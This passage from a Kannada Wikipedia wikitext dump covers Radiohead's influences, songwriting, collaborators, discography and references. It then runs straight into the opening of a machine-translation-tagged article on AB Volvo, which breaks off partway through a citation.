ಶೈಲಿಯದ್ದು ಹಾಗೂ ಅದು ನಮ್ಮ ಆಟದ ಗುರಿ.' <ref>{{citenews|url=http://www.radiohead.com/deadairspace/|title=A rant and some other stuff|date=2009-12-19|work=radiohead.com|accessdate=2009-12-22|archive-date=2007-08-16|archive-url=https://web.archive.org/web/20070816032443/http://www.radiohead.com/deadairspace/|url-status=dead}}</ref> == ಶೈಲಿ ಮತ್ತು ಗೀತೆ-ರಚನೆ == {{Listen | filename=Radiohead - Pyramid Song (sample).ogg | title="Pyramid Song" | description="Pyramid Song" was strongly influenced by jazz musician [[Charles Mingus]]' 1963 piece "Freedom".<ref name="KENT"/> This sample shows the Radiohead track's string arrangement and [[timing (music)|irregular timing]] on the piano and drums. }} [[ಕ್ವೀನ್‌]], [[ಸ್ಕಾಟ್‌ ವಾಕರ್‌]] ಹಾಗೂ [[ಎಲ್ವಿಸ್‌ ಕಾಸ್ಟೆಲೊ]] ರೇಡಿಯೊಹೆಡ್‌ ತಂಡದ ಸದಸ್ಯರ ಮೇಲೆ ಆರಂಭಿಕ ಹಂತದಲ್ಲಿ ಪ್ರಭಾವ ಬೀರಿದ್ದರು; [[ಜಾಯ್‌ ಡಿವಿಷನ್‌]] ಮತ್ತು [[ಮ್ಯಾಗಜೀನ್‌]], [[R.E.M.]], [[ಪಿಕ್ಸೀಸ್‌]], [[ದಿ ಸ್ಮಿತ್ಸ್‌]] ಹಾಗೂ [[ಸೊನಿಕ್‌ ಯೂತ್‌]] ಅಂತಹ [[ಪೋಸ್ಟ್-ಪಂಕ್‌]]ಸಂಗೀತ ಸಹ ರೇಡಿಯೊಹೆಡ್‌ ತಂಡದವರಿಗೆ ಸ್ಫೂರ್ತಿಯಾದವು.<ref name="RANDALL"/><ref name="ROSS"/><ref name="REYNOLDS"/><ref>{{Cite web |url=http://www.tourdates.co.uk/radiohead |title=ಆರ್ಕೈವ್ ನಕಲು |access-date=2010-06-22 |archive-date=2012-12-26 |archive-url=https://web.archive.org/web/20121226015744/http://www.tourdates.co.uk/radiohead |url-status=dead }}</ref> 1990ರ ದಶಕದ ಮಧ್ಯದಲ್ಲಿ ರೇಡಿಯೊಹೆಡ್‌ ತಂಡವು [[ವಿದ್ಯುನ್ಮಾನ ಸಂಗೀತ]], ಅದರಲ್ಲೂ ವಿಶಿಷ್ಟವಾಗಿ [[DJ ಷ್ಯಾಡೊ]]ರ ಸಂಗೀತದಲ್ಲಿ ಆಸಕ್ತಿ ವಹಿಸಲಾರಂಭಿಸಿತು. ತನ್ನ ''ಒಕೆ ಕಂಪ್ಯೂಟರ್'' ‌ ಆಲ್ಬಮ್‌ ಮೇಲೆ ಇದು ಭಾಗಶಃ ಪ್ರಭಾವ ಬೀರಿತ್ತೆಂದು ರೇಡಿಯೊಹೆಡ್‌ ಹೇಳಿಕೊಂಡಿದೆ.<ref> {{citation | first=Ian | last=Gillespie | title=It all got very surreal | date=1997-08-17 | newspaper =[[London Free Press]] | accessdate = 2007-05-05 }}</ref> ಆಲ್ಬಮ್‌ ಮೇಲೆ [[ಮೈಲ್ಸ್‌ ಡೇವಿಸ್‌]] ಹಾಗೂ [[ಎನಿಯೊ ಮೊರಿಕೊನ್‌]], ಜೊತೆಗೆ 1960ರ ದಶಕದ ರಾಕ್‌ ಶೈಲಿಯ ಸಂಗೀತ ತಂಡಗಳಾದ [[ದಿ ಬೀಟಲ್ಸ್‌]] ಹಾಗೂ [[ದಿ ಬೀಚ್‌ ಬಾಯ್ಸ್‌]] ಇತರೆ ಪ್ರಭಾವಗಳಾಗಿದ್ದವು.<ref name="RANDALL"/><ref name="LAUNCH"/> ''OK ಕಂಪ್ಯೂಟರ್‌'' ನ ಧ್ವನಿಯ ಹಿಂದೆ ಸಂಯೋಜಕ [[ಕ್ರಿಝ್ಟಾಫ್‌ ಪೆಂಡೆರೆಕಿ]] ಸ್ಫೂರ್ತಿಯಾಗಿದ್ದರೆಂದು ಕೂಡ ಜಾನಿ ಗ್ರೀನ್ವುಡ್‌ ಉದಾಹರಿಸಿದರು.<ref name="LAUNCH"/> ''ಕಿಡ್‌ ಎ'' ಹಾಗೂ ಆಮ್ನೆಸಿಯಾಕ್‌ ಆಲ್ಬಮ್‌ಗಳ ವಿದ್ಯುನ್ಮಾನ ಶೈಲಿಯ ಹಿಂದೆ, ಥಾಮ್‌ ಯಾರ್ಕ್‌ [[ಗ್ಲಿಚ್‌]], [[ಆಂಬಿಯೆಂಟ್ ಟೆಕ್ನೊ]] ಹಾಗೂ [[IDM]] ಶೈಲಿಗಳ ಮೆಚ್ಚುಗೆಯ ಫಲವಾಗಿತ್ತು. [[ವಾರ್ಪ್‌ ರೆಕಾರ್ಡ್ಸ್‌]]ನ [[ಆಟೆಕ್ರ್‌]] ಹಾಗೂ [[ಎಫೆಕ್ಸ್‌ ಟ್ವಿನ್]]ನಂತಹ ವಾದ್ಯತಂಡಗಳ ಕಲಾವಿದರು ಈ ಶೈಲಿಯಲ್ಲಿ ಸಂಗೀತ ರಚಿಸುತ್ತಿದ್ದರು.<ref name="SMITH"/> [[ಚಾರ್ಲ್ಸ್‌ ಮಿಂಗಸ್‌]], [[ಅಲೀಸ್‌ ಕೊಲ್ಟ್ರೇನ್‌]] ಮತ್ತು [[ಮೈಲ್ಸ್‌ ಡೇವಿಸ್‌]], ಹಾಗೂ 1970ರ ದಶಕದಲ್ಲಿ [[ಕ್ಯಾನ್‌]] ಮತ್ತು [[ನೌ!]] ಅಂತಹ [[ಕ್ರಾಟ್ರಾಕ್‌]] ವಾದ್ಯತಂಡಗಳ [[ಜಾಝ್‌]] ಶೈಲಿಯ ಸಂಗೀತವು ಈ ಅವಧಿಗಳಲ್ಲಿ ಗಮನಾರ್ಹ ಪ್ರಭಾವ ಬೀರಿತ್ತು.<ref> {{citation | first=Lauren | last=Zoric | title=Fitter, Happier, More Productive | date=2000-10-01 | magazine = [[Juice (magazine)|Juice]] | accessdate = 2007-05-03 }}</ref> ಜಾನಿ ಗ್ರೀನ್ವುಡ್‌ [[20ನೆಯ ಶತಮಾನದ ಶಾಸ್ತ್ರೀಯ ಸಂಗೀತ]]ದಲ್ಲಿ ಆಸಕ್ತಿಯೂ ಪಾತ್ರವಹಿಸಿತ್ತು. ಪೆಂಡೆರೆಕಿ ಮತ್ತು ಸಂಯೋಜಕ [[ಒಲಿವಿಯರ್‌ ಮೆಸಿಯೆನ್]]‌- ಇವರಿಬ್ಬರ ಪ್ರಭಾವವು ಸ್ಪಷ್ಟವಾಗಿತ್ತು. ಏಕೆಂದರೆ, ''ಒಕೆ ಕಂಪ್ಯೂಟರ್'' ‌ ಮತ್ತು ಆನಂತರದ ಆಲ್ಬಮ್‌ಗಳಲ್ಲಿ ಗ್ರೀನ್ವುಡ್‌ [[ಓಂಡ್‌ ಮರ್ಟೆನೊ]]ಎಂಬ ಮೆಸಿಯೆನ್‌ ಜನಪ್ರಿಯಗೊಳಿಸಿದ ಮುಂಚಿನ ಎಲೆಕ್ಟ್ರಾನಿಕ್ ವಾದ್ಯವನ್ನು ನುಡಿಸಿದ್ದರು.<ref name="ROSS" /> ''ಹೇಯ್ಲ್‌ ಟು ದಿ ಥೀಫ್‌'' ಆಲ್ಬಮ್ ರಚನಾಕಾರ್ಯ ನಡೆಸುತ್ತಿದ್ದಾಗ, ರೇಡಿಯೋಹೆಡ್‌ ವಾದ್ಯತಂಡವು ಗಿಟಾರ್‌ ರಾಕ್‌ ಶೈಲಿಯ ಮೇಲೆ ಪುನಃ ಒತ್ತು ನೀಡಿತ್ತು.<ref name="META"/> ಈ ಅವಧಿಯಲ್ಲಿ ರೇಡಿಯೊಹೆಡ್‌ ತಂಡಕ್ಕೆ ದಿ ಬೀಟಲ್ಸ್‌, [[ದಿ ರೋಲಿಂಗ್‌ ಸ್ಟೋನ್ಸ್‌]] ಹಾಗೂ ವಿಶಿಷ್ಟವಾಗಿ [[ನೀಲ್‌ ಯಂಗ್‌]] ಸ್ಫೂರ್ತಿಯಾಗಿದ್ದವೆಂದು ಹೇಳಲಾಗಿದೆ.<ref> {{citation | last = Duno | first = Borja | title = Ed & Thom interview | magazine = Mondosonoro | date = 2003-05-30 }}</ref><ref> ''ಹೇಯ್ಲ್ ಟು ದಿ ಥೀಫ್‌'' ಗೀತೆಯ ಪಂಕ್ತಿ-ನಾದಗಳು, 2003.</ref> ''ಇನ್‌ ರೇನ್ಬೊಸ್'' ‌ ಆಲ್ಬಮ್ ಧ್ವನಿಮುದ್ರಣದ ಆರಂಭದಿಂದಲೂ, [[ಜೋರ್ಕ್]]‌, [[ಲಯರ್ಸ್]]‌, [[ಮೋಡ್‌ಸೆಲೆಕ್ಟರ್]]‌ ಹಾಗೂ [[ಸ್ಪ್ಯಾಂಕ್‌ ರಾಕ್‌]] ಸೇರಿದಂತೆ ರಾಕ್‌, ವಿದ್ಯುನ್ಮಾನ, ಹಿಪ್‌-ಹಾಪ್‌ ಮತ್ತು ಪ್ರಾಯೋಗಿಕ ಸಂಗೀತಗಾರರು ಪ್ರಭಾವ ಬೀರಿದ್ದರೆಂದು ರೇಡಿಯೊಹೆಡ್‌ ತಂಡದವರು ತಿಳಿಸಿದ್ದಾರೆ.<ref>{{cite news | title=Radiohead's Secret Influences, from Fleetwood Mac to Thomas Pynchon | date=2008-01-24 | magazine=[[Rolling Stone]] | url=http://www.rollingstone.com/news/story/18060334/radioheads_secret_influences_from_fleetwood_mac_to_thomas_pynchon | accessdate=2008-02-06 | archive-date=2009-06-12 | archive-url=https://web.archive.org/web/20090612012329/http://www.rollingstone.com/news/story/18060334/radioheads_secret_influences_from_fleetwood_mac_to_thomas_pynchon | url-status=dead }}</ref><ref>{{cite news | first=Nick | last=Kent | title=Ghost in the Machine | date=2006-08-01 | work =''[[Mojo (magazine)|Mojo]]'' | pages =74–82 | accessdate = 2009-12-27}}</ref> ರೇಡಿಯೊಹೆಡ್‌ ತಂಡ ರಚನೆಯಾದಾಗಿನಿಂದಲೂ, ಯಾರ್ಕ್‌ ಪ್ರಮುಖ ಗೀತರಚನೆಕಾರರಾಗಿದ್ದಾರೆ. ಆದರೆ, ಸಂಗೀತದ ದೃಷ್ಟಿಯಿಂದ, ಹಾಡಿನ ರಚನೆಯು ಸಹಯೋಗದ ಪ್ರಯತ್ನವಾಗಿದೆ. ತಂಡದ ಸದಸ್ಯರು ನೀಡಿದ ಸಂದರ್ಶನಗಳಲ್ಲಿ ಗಮನಿಸಿದಂತೆ, ಈ ಪ್ರಕ್ರಿಯೆಯಲ್ಲಿ ಎಲ್ಲಾ ಸದಸ್ಯರದೂ ಕೊಡುಗೆಯುಂಟು.<ref name="ECCLES"/> ಇದರ ಫಲವಾಗಿ, ತಂಡದ ಎಲ್ಲ ಹಾಡುಗಳಿಗೂ ಅಧಿಕೃತವಾಗಿ 'ರೇಡಿಯೊಹೆಡ್' ಎಂದಲೇ ಮನ್ನಣೆ ನೀಡಲಾಗಿದೆ. ''ಕಿಡ್‌ ಎ/ಆಮ್ನೆಸಿಯಾಕ್‌'' ಆಲ್ಬಮ್‌ ರಚನಾ ಅವಧಿಗಳಲ್ಲಿ ರೇಡಿಯೊಹೆಡ್‌ ತಂಡದ ಸಂಗೀತ ಶೈಲಿಯಲ್ಲಿ ಬದಲಾವಣೆ ಹಾಗೂ ತಂಡದ ಕಾರ್ಯರೀತಿಯಲ್ಲಿ ಇನ್ನಷ್ಟು ಗಮನಾರ್ಹ ಬದಲಾವಣೆಗಳಾದವು.<ref name="ECCLES"/> ವಾದ್ಯತಂಡವು ಸಹಜ ರಾಕ್‌ ಶೈಲಿಯ ಸಂಗೀತ ವಾದ್ಯಗೀತೆರಚನೆಯಿಂದ ವಿದ್ಯುನ್ಮಾನ ಧ್ವನಿಗೆ ಒತ್ತು ನೀಡುವತ್ತ ಸಾಗಿದಾಗಿನಿಂದಲೂ, ತಂಡದ ಸದಸ್ಯರು ಸಂದರ್ಭಕ್ಕೆ ಹೆಚ್ಚು ಹೊಂದಿಕೊಂಡು,ಈಗ ನಿರ್ದಿಷ್ಟ ಗೀತೆಯ ಅಗತ್ಯಗಳಿಗೆ ಅನುಗುಣವಾಗಿ ನಿಯಮಿತವಾಗಿ ಸಂಗೀತವಾದ್ಯ ಬದಲಿಸುತ್ತಾರೆ.<ref name="ECCLES"/> ಉದಾಹರಣೆಗೆ, ''ಕಿಡ್‌ ಎ'' ಮತ್ತು ''ಆಮ್ನೆಸಿಯಾಕ್‌'' ಆಲ್ಬಮ್‌ಗಳಲ್ಲಿ ಯಾರ್ಕ್‌ ಕೀಬೋರ್ಡ್‌ ಹಾಗೂ ಬಾಸ್‌ ನುಡಿಸಿದರೆ, ಜಾನಿ ಗ್ರೀನ್ವುಡ್ ಆಗಾಗ್ಗೆ ಗಿಟಾರ್‌ಗಿಂತಲೂ ಹೆಚ್ಚಾಗಿ ಓಂಡ್‌ ಮರ್ಟೆನೊ ನುಡಿಸುತ್ತಿದ್ದರು. ಬಾಸ್‌ ವಾದಕ ಕೊಲಿನ್‌ ಗ್ರೀನ್ವುಡ್‌ ಸ್ಯಾಂಪ್ಲಿಂಗ್‌ ನುಡಿಸುತ್ತಿದ್ದರು. ಒ'ಬ್ರಿಯೆನ್‌ ಮತ್ತು ಸೇಲ್ವೇ ಡ್ರಮ್‌ ಮೆಷಿನ್ಸ್‌ ಹಾಗೂ ಡಿಜಿಟಲ್‌ ಮ್ಯಾನಿಪುಲೇಷನ್‌ ಬಳಸುತ್ತಿದ್ದರು. ಈ ಹೊಸ ಧ್ವನಿಯಲ್ಲಿ ಅವರು ಕ್ರಮವಾಗಿ ತಮ್ಮ ಪ್ರಾಥಮಿಕ ವಾದ್ಯಗಳಾದ ಗಿಟಾರ್‌ ಮತ್ತು ತಾಳವಾದ್ಯಗಳನ್ನು‌ ಅಳವಡಿಸಲು ಹೊಸ ರೀತಿಗಳನ್ನು ಪರಿಶೋಧಿಸುತ್ತಿದ್ದರು.<ref name="ECCLES"/> ಯಾವುದೇ ಬಿಗು ವಾತಾವರಣವಿಲ್ಲದೆ ನಡೆದ ''ಹೇಯ್ಲ್‌ ಟು ದಿ ಥೀಫ್‌'' ಅಲ್ಬಮ್‌ ಧ್ವನಿಮುದ್ರಣಾ ಅವಧಿಯು, ರೇಡಿಯೊಹೆಡ್‌ ತಂಡದಲ್ಲಿ ಹೊಸ ರೀತಿಯ ಸೃಜನಶೀಲತೆಗೆ ಕಾರಣವಾಯಿತು. ಸ್ವತಃ ಯಾರ್ಕ್‌ ಅವರೇ ಸಂದರ್ಶನಗಳಲ್ಲಿ ಒಪ್ಪಿಕೊಂಡ ಪ್ರಕಾರ, 'ತಂಡದಲ್ಲಿ [ಅವರ] ಪ್ರಾಬಲ್ಯವು ಸಂಪೂರ್ಣ ಅಸಮತೋಲನದಿಂದ ಕೂಡಿದ್ದು,[ತಾವು] ಇತರರ ಅಧಿಕಾರವನ್ನು ಹೇಗಾದರೂ ಮಾಡಿ ತಲೆಕೆಳಗು ಮಾಡುವಷ್ಟಿತ್ತು. ಆದರೆ... ಈಗ ಇದು ನಿಜಕ್ಕೂ ಬಹಳ ಅನುಕೂಲಕರವಾಗಿದೆ, ಹಿಂದಿನಕ್ಕಿಂತಲೂ ಪ್ರಜಾಪ್ರಭುತ್ವ ಶೈಲಿಯಲ್ಲಿದೆ.' <ref name="DAL"> {{citation | first=Stephen | last=Dalton | title=Are we having fun yet? | date=2004-04-01 | url =http://www.theage.com.au/articles/2004/04/11/1081326991553.html?from=storyrhs | newspaper =[[The Age]] | accessdate = 2007-03-26 }}</ref> == ಸಹಯೋಗಿಗಳು == [[ಚಿತ್ರ:RHbear.svg|right|thumb|ಸ್ಟ್ಯಾನ್ಲೇ ಡಾನ್ವುಡ್‌ ಮತ್ತು ಚಾಕ್‌ (ಥಾಮ್‌ ಯಾರ್ಕ್‌)ರಿಂದ ಕಿಡ್‌ ಏ ಗಾಗಿ 'ಮಾಡಿಫೈಡ್‌ ಬಿಯರ್‌' ಲಾಂಛನ]] ರೇಡಿಯೊಹೆಡ್‌ ತಂಡವು ತನ್ನ [[ನಿರ್ಮಾಪಕ]] [[ನೈಗೆಲ್‌ ಗಾಡ್ರಿಚ್]]‌ ಹಾಗೂ [[ರೇಖಾಚಿತ್ರಕಲಾವಿದ]] [[ಸ್ಟ್ಯಾನ್ಲೇ ಡಾನ್ವುಡ್‌]]ರೊಂದಿಗೆ ನಿಕಟ ಸಂಬಂಧವಿಟ್ಟುಕೊಂಡಿದೆ. ''ದಿ ಬೆಂಡ್ಸ್'' ‌ ಆಲ್ಬಮ್‌ ರಚನೆ ಆರಂಭದಿಂದ ರೇಡಿಯೊಹೆಡ್‌ ತಂಡದೊಂದಿಗೆ ತಮ್ಮ ಸಹಯೋಗ ಆರಂಭಿಸಿ ಖ್ಯಾತಿ ಪಡೆದ ಗಾಡ್ರಿಚ್‌, ''ಒಕೆ ಕಂಪ್ಯೂಟರ್'' ‌ ಆಲ್ಬಮ್‌ನೊಂದಿಗೆ ಮೊದಲ ಬಾರಿ ನಿರ್ಮಾಪಕರಾದರು.<ref name="CBC"> {{citation | url=http://www.cbc.ca/arts/music/godrich.html | title=Everything In Its Right Place | first = Matthew | last = McKinnon | date = 2006-07-24 | newspaper = [[Canadian Broadcasting Corporation|CBC]] | accessdate = 2007-03-11 |archiveurl=https://web.archive.org/web/20070703045949/http://www.cbc.ca/arts/music/godrich.html|archivedate=2007-07-03}}</ref> ಬೀಟಲ್ಸ್‌ ತಂಡದ [[ಜಾರ್ಜ್‌ ಮಾರ್ಟಿನ್‌]]ರನ್ನು [[ಐದನೆಯ ಬೀಟಲ್‌]] ಎಂದು ಕರೆಯುವಂತೆ, ನೈಗೆಲ್‌ರನ್ನು ಕೆಲವೊಮ್ಮೆ ರೇಡಿಯೊಹೆಡ್‌ನ 'ಆರನೆಯ ಸದಸ್ಯ' ಎಂದು ಉಲ್ಲೇಖಿಸಲಾಯಿತು.<ref name="CBC"/> ತಂಡದ ಇನ್ನೊಬ್ಬ ದೀರ್ಘಕಾಲಿಕ ಸದಸ್ಯ ಡಾನ್ವುಡ್‌, 1994ರಿಂದಲೂ ರೇಡಿಯೊಹೆಡ್‌ ತಂಡದ ಆಲ್ಬಮ್‌ ರಕ್ಷಾಪುಟದ ಮತ್ತು ಕಲಾವಿನ್ಯಾಸದ ಜವಾಬ್ದಾರಿ ನಿರ್ವಹಿಸಿದ್ದಾರೆ.<ref name="EYE"> {{citation | url=http://www.eyestorm.com/artists/profile/Stanley_Donwood.html | title=Stanley Donwood | accessdate = 2007-05-29 | publisher=Eyestorm }}</ref> ಗ್ರಂಥಾಲಯದ ಪುಸ್ತಕದಂತೆ ನಿರೂಪಿಸಲಾದ ''ಆಮ್ನೆಸಿಯಾಕ್‌'' ಅಲ್ಬಮ್‌ನ ವಿಶೇಷ ಆವೃತ್ತಿಗಾಗಿ 2002ರಲ್ಲಿ ಯಾರ್ಕ್‌ ಮತ್ತು ಡಾನ್ವುಡ್‌ [[ಗ್ರ್ಯಾಮಿ]] ಪ್ರಶಸ್ತಿ ಗಳಿಸಿದರು.<ref name="EYE"/> ಇತರೆ ಸಹಯೋಗಿಗಳಲ್ಲಿ ಡಿಲ್ಲಿ ಜೆಂಟ್‌ ಮತ್ತು ಪೀಟರ್‌ ಕ್ಲೆಮೆಂಟ್ಸ್‌ ಇದ್ದಾರೆ. ಜೆಂಟ್‌ ''ಒಕೆ ಕಂಪ್ಯೂಟರ್‌'' ಆಲ್ಬಮ್‌ನಿಂದ ಹಿಡಿದು ರೇಡಿಯೊಹೆಡ್‌ ತಂಡದ ಎಲ್ಲಾ ಸಂಗೀತ ವೀಡಿಯೊಗಳನ್ನು ಸಿದ್ಧಪಡಿಸುವ ಜವಾಬ್ದಾರಿ ನಿರ್ವಹಿಸಿದ್ದಾರೆ. ಪ್ರತಿಯೊಂದು ಕಾರ್ಯಕ್ಕೂ ಸೂಕ್ತವಾದ ನಿರ್ದೇಶಕರನ್ನು ಆನ್ವೇಷಿಸುವಲ್ಲಿ ತಂಡಕ್ಕೆ ನೆರವಾಗಿದ್ದಾರೆ.<ref> {{citation | url=http://www.mvdbase.com/tech.php?last=Gent&first=Dilly | title=Dilly Gent videography | accessdate = 2007-06-18 | publisher=mvdbase.com }}</ref> ತಂಡದ ಲೈವ್‌ ಟೆಕ್ನಿಷಿಯನ್‌ ಪೀಟರ್‌ ಕ್ಲೆಮೆಂಟ್ಸ್‌ (ಅಡ್ಡಹೆಸರು 'ಪ್ಲ್ಯಾಂಕ್') ''ದಿ ಬೆಂಡ್ಸ್‌'' ‌ ಮುಂಚಿನ ಕಾಲದಿಂದಲೂ ರೇಡಿಯೊಹೆಡ್‌ ತಂಡದೊಂದಿಗೆ ಕಾರ್ಯನಿರ್ವಹಿಸಿದ್ದಾರೆ. ಅವರು ಸ್ಟುಡಿಯೊ ಧ್ವನಿಮುದ್ರಣ ಹಾಗೂ ಕಾರ್ಯಕ್ರಮ ಸಂಗೀತಗೋಷ್ಠಿಗಳಿಗಾಗಿ ತಂಡದ ಸದಸ್ಯರಿಗಾಗಿ ವಾದ್ಯಗಳನ್ನು ಸಿದ್ಧಪಡಿಸುವರು.<ref name="RANDALL"/> == ಧ್ವನಿಮುದ್ರಿಕೆ ಪಟ್ಟಿ == * 1993: ''[[ಪಾಬ್ಲೊ ಹನಿ]]'' * 1995: ''[[ದಿ ಬೆಂಡ್ಸ್‌]]'' * 1997: ''[[ಒಕೆ ಕಂಪ್ಯೂಟರ್‌]]'' * 2000: ''[[ಕಿಡ್‌ ಎ]]'' * 2001: ''[[ಆಮ್ನೆಸಿಯಾಕ್‌]]'' * 2003: ''[[ಹೇಯ್ಲ್ ಟು ದಿ ಥೀಫ್‌]]'' * 2007: ''[[ಇನ್‌ ರೇನ್ಬೊಸ್‌]]'' == ಆಕರಗಳು == {{reflist|colwidth=30em}} === ಮೂಲಗಳು === * ರಾಂಡಲ್‌, ಮ್ಯಾಕ್‌. ''ಎಕ್ಸಿಟ್‌ ಮ್ಯೂಸಿಕ್‌: ದಿ ರೇಡಿಯೊಹೆಡ್ ಸ್ಟೋರಿ'' . 2000. ISBN 0-385-33393-5 * ಕ್ಲಾರ್ಕ್‌, ಮಾರ್ಟಿನ್‌. ''ರೇಡಿಯೊಹೆಡ್‌: ಹಿಸ್ಟೀರಿಕಲ್‌ ಅಂಡ್‌ ಯೂಸ್ಲೆಸ್‌'' . 2000. ISBN 0-85965-332-3 === ಹೆಚ್ಚಿನ ಓದಿಗಾಗಿ === * ಡೊಹೆನಿ, ಜೇಮ್ಸ್‌. ''ರೇಡಿಯೊಹೆಡ್‌: ಬ್ಯಾಕ್‌ ಟು ಸೇವ್‌ ದಿ ಯುನಿವರ್ಸ್‌'' . 2002. ISBN 0-8264-1663-2 * [[ಫುಟ್ಮನ್‌, ಟಿಮ್‌]]. ''ವೆಲ್ಕಮ್‌ ಟು ದಿ ಮೆಷಿನ್‌: ಒಕೆ ಕಂಪ್ಯೂಟರ್‌ ಅಂಡ್‌ ದಿ ಡೆತ್‌ ಆಫ್‌ ದಿ ಕ್ಲಾಸಿಕ್‌ ಅಲ್ಬಮ್‌'' . 2007. ISBN 1-84240-388-5 * ಫೋರ್ಬ್ಸ್‌, ಬ್ರಾಂಡನ್‌ ಡಬ್ಲ್ಯೂ. ಅಂಡ್‌ ರೇಷ್‌, ಜಾರ್ಜ್‌ ಎ. (ಸಂಪಾದಕರು). "ರೇಡಿಯೊಹೆಡ್‌ ಅಂಡ್‌ ಫಿಲಾಸಫಿ". 2009. ISBN 0-8126-9664-6 * ಗ್ರಿಫಿತ್ಸ್‌, ಡಾಯ್‌. ''ರೇಡಿಯೊಹೆಡ್‌'ಸ್‌ ಒಕೆ ಕಂಪ್ಯೂಟರ್‌'' ([[33⅓]] ಸೀರೀಸ್‌). 2004. ISBN 1-56025-398-3 * ಜಾನ್ಸ್ಟೋನ್‌, ನಿಕ್‌. ''ರೇಡಿಯೊಹೆಡ್‌: ಎನ್‌ ಇಲುಸ್ಟ್ರೇಟೆಡ್‌ ಬಯೊಗ್ರಫಿ'' . 1997. ISBN 0-7119-6581-1 * ಪೇಯ್ಟ್ರೆಸ್‌, ಮಾರ್ಕ್‌. ''ರೇಡಿಯೊಹೆಡ್‌: ದಿ ಕಂಪ್ಲೀಟ್‌ ಗೈಡ್ ಟೊ ದೇರ್‌ ಮ್ಯೂಸಿಕ್‌'' . 2005. ISBN 1-84449-507-8 * ಟೇಟ್‌, ಜೋಸೆಫ್‌ (ಸಂಪಾದಕರು). ''ದಿ ಮ್ಯೂಸಿಕ್‌ ಅಂಡ್‌ ಆರ್ಟ್‌ ಆಫ್‌ ರೇಡಿಯೊಹೆಡ್‌'' . 2005. ISBN 0-7546-3979-7. == ಬಾಹ್ಯ ಕೊಂಡಿಗಳು == {{Commons category|Radiohead}} * {{official|http://www.radiohead.com/}} [[ವರ್ಗ:MTV ವೀಡಿಯೊ ಸಂಗೀತ ಪ್ರಶಸ್ತಿ ವಿಜೇತರು]] [[ವರ್ಗ:ರೇಡಿಯೊಹೆಡ್‌]] [[ವರ್ಗ:1990ರ ದಶಕದ ಸಂಗೀತ ವಾದ್ಯತಂಡಗಳು]] [[ವರ್ಗ:2000ರ ದಶಕದ ಸಂಗೀತ ವಾದ್ಯತಂಡಗಳು]] [[ವರ್ಗ:2010ರ ದಶಕದ ಸಂಗೀತ ವಾದ್ಯತಂಡಗಳು]] [[ವರ್ಗ:ATO ರೆಕಾರ್ಡ್ಸ್‌ ಕಲಾವಿದರು]] [[ವರ್ಗ:ಬ್ರಿಟಿಷ್‌ ಪರ್ಯಾಯ ರಾಕ್‌ ಸಂಗೀತ ವಾದ್ಯತಂಡಗಳು]] [[ವರ್ಗ:ಇಂಗ್ಲಿಷ್‌ ವಿದ್ಯುನ್ಮಾನ ಸಂಗೀತ ವಾದ್ಯತಂಡಗಳು]] [[ವರ್ಗ:ಪ್ರಾಯೋಗಿಕ ರಾಕ್‌ ಸಂಗೀತ ವಾದ್ಯತಂಡಗಳು]] [[ವರ್ಗ:ಕ್ಯಾಪಿಟಲ್‌ ರೆಕಾರ್ಡ್ಸ್‌ ಕಲಾವಿದರು]] [[ವರ್ಗ:ಇಂಗ್ಲಿಷ್‌ ರಾಕ್‌ ಸಂಗೀತ ವಾದ್ಯತಂಡಗಳು]] [[ವರ್ಗ:ಗ್ರ್ಯಾಮಿ ಪ್ರಶಸ್ತಿ ವಿಜೇತರು]] [[ವರ್ಗ:ಆಕ್ಸ್‌ಫರ್ಡ್‌ ಸಂಗೀತ]] [[ವರ್ಗ:ಇಸವಿ 1985ರಲ್ಲಿ ರಚಿಸಲಾದ ಸಂಗೀತ ವಾದ್ಯತಂಡಗಳು]] [[ವರ್ಗ:ಸಂಗೀತ ಪಂಚಮೇಳಗಳು]] [[ವರ್ಗ:ಪಾರ್ಲೊಫೋನ್‌ ಕಲಾವಿದರು]] etw8qx8pe1eqzl4h7hbef0g72oitfb7 ವೋಲ್ವೋ 0 23898 1116485 1058415 2022-08-23T13:51:48Z InternetArchiveBot 69876 Rescuing 1 sources and tagging 0 as dead.) #IABot (v2.0.9 wikitext text/x-wiki {{ಯಂತ್ರಾನುವಾದ}} ಇದು ವೋಲ್ವೋ ಗ್ರೂಪ್‌ - ಎಬಿ ವೋಲ್ವೋ ಬಗೆಗಿನ ಲೇಖನ; ವೋಲ್ವೋ ಕಾರುಗಳು ಎನ್ನುವುದು ವೋಲ್ವೋ ಟ್ರೇಡ್‌ಮಾರ್ಕ್‌ಅನ್ನು ಬಳಸಿಕೊಂಡು ಪ್ಯಾಸೆಂಜರ್‌ ವಾಹನಗಳನ್ನು ತಯಾರಿಸುವ, ಫೋರ್ಡ್‌ ಮೋಟಾರ್‌ ಕಂಪನಿಯ ಒಡೆತನದಲ್ಲಿದ್ದು ಈಗ ಜೇಜಿಯಾಂಗ್‌ ಗೀಲಿ ಹೋಲ್ಡಿಂಗ್‌ ಗ್ರೂಪ್‌ಗೆ ಮಾರಾಟವಾಗಿರುವ ಸಂಸ್ಥೆ. {{Infobox company | company_logo = [[ಚಿತ್ರ:Volvo logo.svg|center|250px|Volvo logo]] | company_name = ಎಬಿ ವೋಲ್ವೋ | industry = [[ವಾಣಿಜ್ಯ ವಾಹನಗಳು]] | company_type = [[ಸಾರ್ವಜನಿಕ ಕಂಪನಿ|ಸಾರ್ವಜನಿಕ ವ್ಯಾಪಾರ]] [[Aktiebolag]] ({{OMX|SSE366|VOLV B}}) | foundation = 1927 by [[SKF]] | location = [[ಗೋಥೆನ್ಬರ್ಗ್]], [[ಸ್ವೀಡನ್]] | area_served = ವಿಶ್ವಾದ್ಯಂತ | products = ವೋಲ್ವೋ ಟ್ರಕ್ಗಳು, ವೋಲ್ವೋ ಬಸ್ಸುಗಳು, ವೋಲ್ವೋ ನಿರ್ಮಾಣ ಉಪಕರಣಗಳು, ವೋಲ್ವೋ ಪೆಂಟಾ - ಸಾಗರ ಮತ್ತು ಕೈಗಾರಿಕಾ ಶಕ್ತಿ ವ್ಯವಸ್ಥೆಗಳು, ವೋಲ್ವೋ ವೈಮಾನಿಕ ಘಟಕಗಳು, ಹಣಕಾಸು ಸೇವೆಗಳು | key_people = [[ಲೂಯಿಸ್ ಸ್ಕ್ವೀಟ್ಜರ್ (CEO)]] <small>([[chair (official)|Chairman]])</small>, [[Leif Johansson (businessman)|Leif Johansson]] <small>(President and [[chief executive officer|CEO]])</small> | revenue = [[Swedish krona|SEK]] 218,361 million <small>(2009)</small><ref name="AR2009">{{cite web |url=http://www3.volvo.com/investors/finrep/ar09/ar_2009_eng.pdf |format=PDF |title=Annual Report 2009 |accessdate=2010-04-03 